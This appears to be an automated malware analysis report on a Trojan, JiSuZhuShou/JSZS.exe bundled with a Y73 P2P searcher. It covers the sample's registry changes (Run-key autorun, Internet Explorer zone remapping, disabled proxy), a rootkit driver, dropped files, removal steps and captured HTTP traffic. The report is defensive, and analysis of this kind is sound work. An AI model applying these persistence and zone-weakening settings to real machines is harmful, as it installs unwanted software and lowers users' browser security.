[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Y73Server.exe]
"(Default)" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F4 4E BB F9 FB 0B 6C BD 51 1F 14 74 5B 96 93 C0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Y73ÖÖ×ÓËÑË÷ÉñÆ÷]
"UninstallString" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe"

The process JSZS.exe:3360 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D 81 00 9B 7F 32 91 46 03 D2 A7 B6 B2 C5 8F 73"

The process JSZS.exe:2564 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\usbhigh\Instances\usbhigh Instance]
"Flags" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\JiSuZhuShou]
"BDATE" = "EA EA C9 46 49 96 E4 40"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\JiSuZhuShou]
"Renwucan1" = "2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\JiSuZhuShou]
"instd" = "42162"
"RwWtD" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\JiSuZhuShou]
"cid" = "-9019431321599"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\JiSuZhuShou]
"xk" = "4294967295"

[HKLM\System\CurrentControlSet\Services\usbhigh\Instances\usbhigh Instance]
"Altitude" = "360054"

[HKCU\Software\JiSuZhuShou]
"ctm" = "59 C8 70 44 49 96 E4 40"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\JiSuZhuShou]
"insg" = "2"
"96198" = "2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D EF 12 14 B0 EF C6 27 6E 98 CB 35 8F 65 E0 A8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\JiSuZhuShou]
"stdd" = "2haMREmW5EDoHhPuT5bkQA=="

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\JiSuZhuShou]
"JSZS.exe" = "极速助手"

[HKLM\System\CurrentControlSet\Services\usbhigh\Instances]
"DefaultInstance" = "usbhigh Instance"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"JiSuZhuShou" = "%Program Files%\JiSuZhuShou\JSZS.exe /A"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKCU\Software\JiSuZhuShou]
"ci1"
"ci2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"ProxyServer"

The process JSZS.exe:2480 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "33 11 9D C6 42 D5 C1 6F 66 E3 33 C7 8A 6C B5 7F"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "%System%\Drivers\usbhigh.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "%System%\Drivers\usbhigh.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   -2100_1_ss.exe:2472
   Y73P2PSearcher_4.exe:500
   JSZS.exe:3360
   JSZS.exe:2480

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   C:\copy%original file name%.exe (10177 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\core[1].php (751 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\will[1].htm (374 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\z_stat[1].php (1097 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (4048 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@tongji.110160[1].txt (219 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\stat[1].gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Program Files%\JiSuZhuShou\JSZS.exe (56309 bytes)
   %Program Files%\JiSuZhuShou\¼«ËÙÖúÊÖ.lnk (613 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\¼«ËÙÖúÊÖ\¼«ËÙÖúÊÖ.lnk (691 bytes)
   %Program Files%\JiSuZhuShou\AdbWinApi.dll (3748 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\JSZS.exe (56309 bytes)
   %Program Files%\JiSuZhuShou\usbhigh.sys (9238 bytes)
   %Program Files%\JiSuZhuShou\adb.exe (24009 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\System.dll (11 bytes)
   %Program Files%\JiSuZhuShou\JSHlp.exe (27601 bytes)
   %Program Files%\JiSuZhuShou\x64\usbhigh.sys (12213 bytes)
   %Program Files%\JiSuZhuShou\AdbWinUsbApi.dll (2733 bytes)
   %Program Files%\JiSuZhuShou\uninst.exe (892 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\¼«ËÙÖúÊÖ\жÔؼ«ËÙÖúÊÖ.lnk (527 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\stat[2].gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ico_here[1].gif (1 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\setting.ini (50 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\61.196.186[1].htm (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\do1[1].php (19327 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@61.196.186[1].txt (210 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\base[1].css (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\core[1].php (752 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (1177 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\search_btn[1].png (534 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe (9130 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (744 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\uninst.exe (745 bytes)
   %Documents and Settings%\%current user%\Desktop\ÖÖ×ÓËÑË÷ÉñÆ÷.lnk (732 bytes)
   %Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73ÖÖ×ÓËÑË÷ÉñÆ÷.url (37 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\¹Ù·½Ö÷Ò³.url (37 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Uninstall.lnk (727 bytes)
   %System%\drivers\usbhigh.sys (1425 bytes)
   %System%\config\SYSTEM.LOG (4681 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tab2[1].png (2855 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\u2[1].htm (108 bytes)
   %Documents and Settings%\%current user%\AppData\Local\JiSuZhuShou\dwonJsMobile.dat (28 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\tj[1].htm (8 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\Fav9.dat (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\tab3[1].png (775 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\tj[1].htm (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\btns[1].js (376 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].htm (26 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\btns.js (376 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\edi.dat (378479 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\qv[1].htm (2 bytes)
   %System%\config\system (3025 bytes)
   %WinDir%\nvse.dat (86 bytes)
   %Documents and Settings%\%current user%\AppData\LocalLow\JiSuZhuShou\Down\ETagFile.dat (100 bytes)

5. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "TimeHint" = "c:\%original file name%.exe"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Y73ÖÖ×ÓËÑË÷ÉñÆ÷" = "%Program Files%\Y73ÖÖ×ÓËÑË÷ÉñÆ÷\Y73Server.exe"
   
   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "JiSuZhuShou" = "%Program Files%\JiSuZhuShou\JSZS.exe /A"

6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
7. Reboot the computer.
   

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /paramfile/main.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:21 GMT

Content-Type: text/plain

Content-Length: 74

Connection: keep-alive

Last-Modified: Mon, 01 Jun 2015 12:38:46 GMT

Accept-Ranges: bytes

ETag: "5a6537e7679cd01:14e4"

X-Powered-By: ASP.NET

...1.0.0.1;......$pptv$1............$.........$............$PPTV$...$pps;2HTTP/1.1 200 OK..Server: nginx/1.2.9..Date: Sun, 07 Jun 2015 03:53:21 GMT..Content-Type: text/plain..Content-Length: 74..Connection: keep-alive..Last-Modified: Mon, 01 Jun 2015 12:38:46 GMT..Accept-Ranges: bytes..ETag: "5a6537e7679cd01:14e4"..X-Powered-By: ASP.NET.....1.0.0.1;......$pptv$1............$.........$............$PPTV$...$pps;2..

GET /ju/common/1.5.12/global-min.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 11109

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:33:04 GMT

Last-Modified: Thu, 04 Jun 2015 09:50:27 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache38.l2de1[0,304-0,H], cache62.l2de1[1,0], cache8.es1[0,200-0,H], cache2.es1[1,0]

Content-Encoding: gzip

Age: 5028

X-Cache: HIT TCP_MEM_HIT dirn:6:240070340

X-Swift-SaveTime: Sun, 07 Jun 2015 02:59:10 GMT

X-Swift-CacheTime: 3600

...........}...F.....c........1qcIn............H.MJ$A...6....Y...HJ....L..n..Y.....xYL.../..5......,.uk:mM..i..-..t../.v..w[.^k.o....ek~..o[..f_...C.....V.lmZ.m.*..2.Tf.<k...~yXe...z...d..b.0.<....~. ..i>....6..../.tV..t.*.r...u....l.Oo.U.[Z.>U.<l...$[.4...A...|R:..8....|z.m_&...b.-v..L.3...?..l^..V..Y[.z..f.|....w.w/..$..#.y.t..-.u;.??...<.......:.'..6..Z..Pg:[..U.C..v..q...@.l..X=..x.....\..R...z.ZL...I1.[..S...[mx.Y.Z,.G.b.]..d..l...U..v.l.?.`..LMk..=........$...'@.h^...$.:.'.6 ............ ....G...`....FX.a\l...X....\.L'.r.mv9,....v)..Y...W3XU..w{b...v2.o._.x..m..d.nO......{...{.a.....f8....yQ>..^..b.....%(\Y..W.j.O..4-6..|.._=k}.(.......}..ei.(...K..}x..tzh..W....<.z.x....2........b5.>.'.lV..M.(...W....u....v.e.8..f..AFq...8#.....&{....:......p..|...Q4o..........N......s.)v.b.m.....?]..-\..m...H.f....}Y..BdB....kj...q........N.yDx..dT..]...c.M.c.;.$.@K.6}..(h...b.g .-&7..........0n.....=q.....h..~g..Y..Ak3......V.............r.6.<.G.n..,V.b[.I..I...eQ,....\.%^..f.]7J.W..6pT......:.....V.U8....\...>.s....T..>....b.t7...<.=,I..%......jq.w..^z........^..}..g.a.,.r...`F..:...hw...W.&R.o.1......n*.."..(p........$Y..u{P....k.l.#........`....._E\z(-.i...K...N...]..x.C....x....... N..T....D...~./&.S..LGX.1Y.K.\D8.-c.sk..8G.'.......&;..."...D..........s.h....p..B^....s..Wt...D'.x....3..1Y.XW..".......:..i.....2\O.g.BGx..&.v../.I...v......kKv..q.l7.....iM.b..a00."qU.....5....jk6.E.5<=.. Z`b.4.=.@..N$.&.........R..H.....YDy.*.....&.....$26{.g....../6...BU...6v...e.....i.!....

<<< skipped >>>

GET /??kissy/k/1.4.14/seed-min.js,ju/common/1.5.12/global-min.js,tb/tracker/1.0.16/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 29022

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:04:21 GMT

Last-Modified: Thu, 04 Jun 2015 09:50:27 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache9.l2de1[0,304-0,H], cache33.l2de1[0,0], cache8.es1[0,200-0,H], cache2.es1[0,0]

Content-Encoding: gzip

Age: 3151

X-Cache: HIT TCP_MEM_HIT dirn:7:239421092

X-Swift-SaveTime: Sun, 07 Jun 2015 03:40:54 GMT

X-Swift-CacheTime: 3600

............y_#....?....Z2...b[B....=n...=s......T..K.^.0..>..Y.%...}....?.Z.r...=#._l<.^|.%.a.y... ...Wo.........k.{.._.......y...,.Qo3M.qc.y.........{..E}.]43....I7M..JT.t....I....u.7..Y%.L&..j...t.A..s48...V/gq..M6...tP...0.^_W .a\m.w..R.0....q...w....^.L....^.>.M....x6.............._}....../...~.`.o....._.......p:O..0._....~2h... .O......]<.3.F..j....kJf...Q..Y..[R]....a....[...5..d.C.,...^.=..QwX..YEQ8.^V...........hT.p4.<iE..F.....0n.ZQ..:k..bR.w.8.....<l...\.@..5.A?...q..t0.g.k......u.a..}.g..W.E%......hg.:...N.`nj....Q.....?........._...dZ......}#..e.~......6.\;..^W.....".....a.zy...$...&..z.. [.....j.8h..............y^.X.....|..j....\_...F.d......^3=.h.;;U.....(=...j.z./...X...Z..e..~.....:oR..]..*.dX..........z..o...R....U..ooW.e.c......~.%...^.I.3...j....{.G....,.XyO.r..(J&..)X}.H.Z.\5*....w.K..X..?6...G',.P.....8|.~._.g..T....&2.....i...MD>g.J.&.....<.-..t......7.%..Vpz..._O.......=.)...:<km...../..S...(..nk.2..Ig..Jr]..M/.Y.....d1.gQg.W.W".......h............4.x.....*.]]\|7ei....]4Z.QP._.....A...4..b*.9.DI..P..?P.(....."_................Z*.A.Z.....V.{{ ......!8.....^w......V.f.....htt%\]...H..::.|wtUh_.jT B.2.no'fY..........4kjw..w..4;...A...9.K ..k...\.....$d.W/...]....i.....[...a...d..&.Z/./..nm...?....@.n..Hl..W.-...9GK.....D&f.%....4..f...n..."4G.. DD......[...;;'.j/..)..E.......A........G..i:....I:...0g.M...ui.{.ov!`|.|.0.p$c..6Z....)Y........vJ...~..!...Q.$|'?;.'...>...i.;...P..a..5..t:....._..7(d.........eJ....^ .um.e5.~26 .....*...A^H:...:.....4.x....Q....Z..k.

<<< skipped >>>

GET /kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 55639

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:44:33 GMT

Last-Modified: Tue, 24 Mar 2015 08:58:33 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache4.l2de1[757,304-0,H], cache54.l2de1[757,0], cache8.es1[0,200-0,H], cache2.es1[0,0]

Content-Encoding: gzip

Age: 739

X-Cache: HIT TCP_MEM_HIT dirn:1:96952476

X-Swift-SaveTime: Sun, 07 Jun 2015 03:44:33 GMT

X-Swift-CacheTime: 3600

............yw.G....>....%.....H.:..$...slg&......H.)...H..~..P..E9..;......X].B.P..@.|..hz.q6......{....>y....w{.....v.~~.j....N.io.s9.........8.......o|.......Wo.z.Joz..i.........$..Iw1.N....w...y..~4yW.N......d.:......t.Hf...a.k].==.....7..?>j.%..^.x......b?yu.[..^......7/...z...7.....W..yq.....g..._.z..........|....o.<{.....>.I.=.9......G.......~.%.............^..........$m]..........y{4id..9.z....9.I..tQ...a..!.....^}<...iC..}.6g..r6Y.n.Z..M...W.z[...MBoG....O.3...uK...6....f.Q.....`...Z....=..F......W..R..l.............t.lW....>.H'.Z3{.a.*...5...T.v..t...?j[..j.ViT..3>...E..i..5.........F...Y-...y..{Vk..)c.w.g....).......$t/..K4..Y.I}.~......E......../.s....../.3............k.....YF......-H......M2.C.....|...!./AD......^}.H.77.....W0....%M.. .R.....{-G..............t.......e.Ims......V@..4...[[L.V/Cv.&a..y.....7...x...>\T .T [;....N....../_..k.{[<..G'.......|z9..[.Z.`..C.......l}QI*.J..yZ?.}..I.....\.......R7.X...y.*...I..!{r9..Z..J......F.j;.8s............R$5&.'vq`.Z.F..o4...y5.R....8........&....<.......D'....`.}.......J.........{......w..N...x~.RHg......S?..z..z<.^\..DF...ZL.z..{...#.....m.&.....".....%#.~.r..N.G......sJ...z.~X....|L.6...@.w[;..?......y=..$..{....5f.....;\..A]...^...~.[...6L..R.........x.jz....}~.I...E..cJ?4...|.@...N...<.nF.*.lT ..JF....N}~.vG.Q.;....'..N../.do......|Qmg.U.......l......k.{}......bjR..FE..4..$B..LO4.J...QQ.9..J.Og.La..JI.;n...._..Jr..0N'..X...........vw4........\ md....@0}. ...........P...yz..hT..s........z..Q....A.N.0..7b...(..(T

<<< skipped >>>

GET /kg/??countdown/2.0.1/index-min.js?t=16593.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 4554

Connection: keep-alive

Date: Sun, 07 Jun 2015 02:51:52 GMT

Last-Modified: Thu, 14 Aug 2014 09:39:13 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache64.l2de1[0,304-0,H], cache31.l2de1[1,0], cache1.es1[0,200-0,H], cache2.es1[0,0]

Age: 3901

X-Cache: HIT TCP_MEM_HIT dirn:7:248258322

X-Swift-SaveTime: Sun, 07 Jun 2015 03:13:47 GMT

X-Swift-CacheTime: 3600

/*!build time : 2014-08-14 5:32:31 PM*/.KISSY.add("kg/countdown/2.0.1/timer",function(a){function b(){for(;d.length;)d.shift()();var a= new Date-b.nextTime,e=1 Math.floor(a/100);a=100-a0,b.nextTime =100*e;var f,g,h,i;for(h=0,i=c.length;i>h;h =2)f=c[h 1],0===f?c[h](e):(f =2*e-1,g=Math.floor(f/20),g>0&&c[h](g),c[h 1]=f 1);setTimeout(b,a)}var c=[],d=[];return b.nextTime= new Date,b(),{add:function(a,b){d.push(function(){c.push(a),c.push(1e3===b?1:0)})},remove:function(b){d.push(function(){var d=a.indexOf(b,c);-1!==d&&c.splice(a.indexOf(b,c),2)})}}}),KISSY.add("kg/countdown/2.0.1/effect",function(a){var b={normal:{paint:function(){var b,c=this;a.each(c.hands,function(d){d.lastValue!==d.value&&(b="",a.each(c._toDigitals(d.value,d.bits),function(a){b =c._html(a,"","digital")}),d.node.html(b))})}},slide:{paint:function(){var c,d,e,f,g=this;a.each(g.hands,function(a){if(a.lastValue!==a.value){for(c="",d=a.bits,e=g._toDigitals(a.value,d),f=void 0===a.lastValue?e:g._toDigitals(a.lastValue,d);d--;)c=f[d]!==e[d]?g._html([g._html(e[d],"","digital"),g._html(f[d],"","digital")],"slide-wrap") c:g._html(e[d],"","digital") c;a.node.html(c)}}),b.slide.afterPaint.apply(g)},afterPaint:function(){a.each(this.hands,function(a){if(a.lastValue!==a.value&&void 0!==a.lastValue){var b=a.node,c=b.one(".digital").height();b.css("height",c),b.all(".slide-wrap").css("top",-c).animate("top: 0",.5,"easeIn")}})}},flip:{paint:function(){var c,d,e,f=this;a.each(f.hands,function(b){b.lastValue!==b.value&&(c="",d="",e="",a.each(f._toDigi

<<< skipped >>>

GET /s.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

